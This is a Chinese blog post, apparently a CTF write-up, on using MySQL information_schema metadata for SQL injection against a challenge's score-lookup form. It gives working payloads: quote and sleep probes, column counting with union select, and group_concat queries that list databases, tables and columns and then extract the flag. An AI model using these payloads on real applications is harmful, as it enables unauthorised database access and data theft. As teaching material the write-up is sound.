从一道CTF题目看sql注入中元数据的应用

前言

第一次看到元数据在sql注入的应用好像是在《web安全深度剖析》,鉴于经验缺乏,只是知道有这么个东西,不知道怎么应用。今天遇到一道和元数据相关的SQL注入题目,所以记录下来。

获取元数据

//获取所有的库名称:
select SCHEMA_NAME from information_schema.SCHEMATA
//获取某一库中所有表的名称:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此处为库名'
//获取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此处为表名'

题目分析

题目地址:http://120.24.86.145:8002/chengjidan/

第一步测试

出于习惯,在输入框提交以下信息:

’(单引号) —无反应

1-3 三个数字 —显示三个人的成绩

1' and sleep(3) -- s —延时返回,结果与只输入1相同(这里引号应该闭合成功了,and sleep(3) 可替换为其他合法语句)

' or 1=1 -- s—与只输入1相同(这里猜测其实查询出了多条记录,但是页面只显示第一条)

' or 1=1 order by id DESC -- s —与只输入3相同(到这里可以大概判断出:该表中共有3条记录,且页面只显示每次查询的第一条记录,与上面的猜测吻合)

进一步猜测查询语句结构

为了方便后续使用union查询,我们需要进一步判断当前查询语句查询了几个字段。

1' union select 1,2,3 -- s
1' union select 1,2,3,4 -- s
1' union select 1,2,3,4,5 -- s

执行上述语句后只有第二个正常返回结果,所以查询语句应该查询了4个字段。

寻找flag在数据库中的位置


这里就是用到元数据的地方了。其实根据上面的测试,我们已经找到了能够执行语句的地方。

-1' (此处填写合法语句) -- s //这里-1是因为想让他查不出任何记录,这样第一条记录才会是我想要的记录。

首先查询数据库:SELECT SCHEMA_NAME FROM information_schema.SCHEMATA
构造如下语句:-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s (group_concat为了使得多个记录显示在一起)。
可查询出flag所在数据库:skctf_flag

再查询skctf_flag中有哪些表:
-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s
可知flag应该在fl4g表中。

再查询表中列:-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s
列为skctf_flag。

最后查询flag:-1' union select 1,2,3,(select skctf_flag from fl4g) -- s

结束。

猜你喜欢

转载自blog.csdn.net/jlu16/article/details/80781742
今日推荐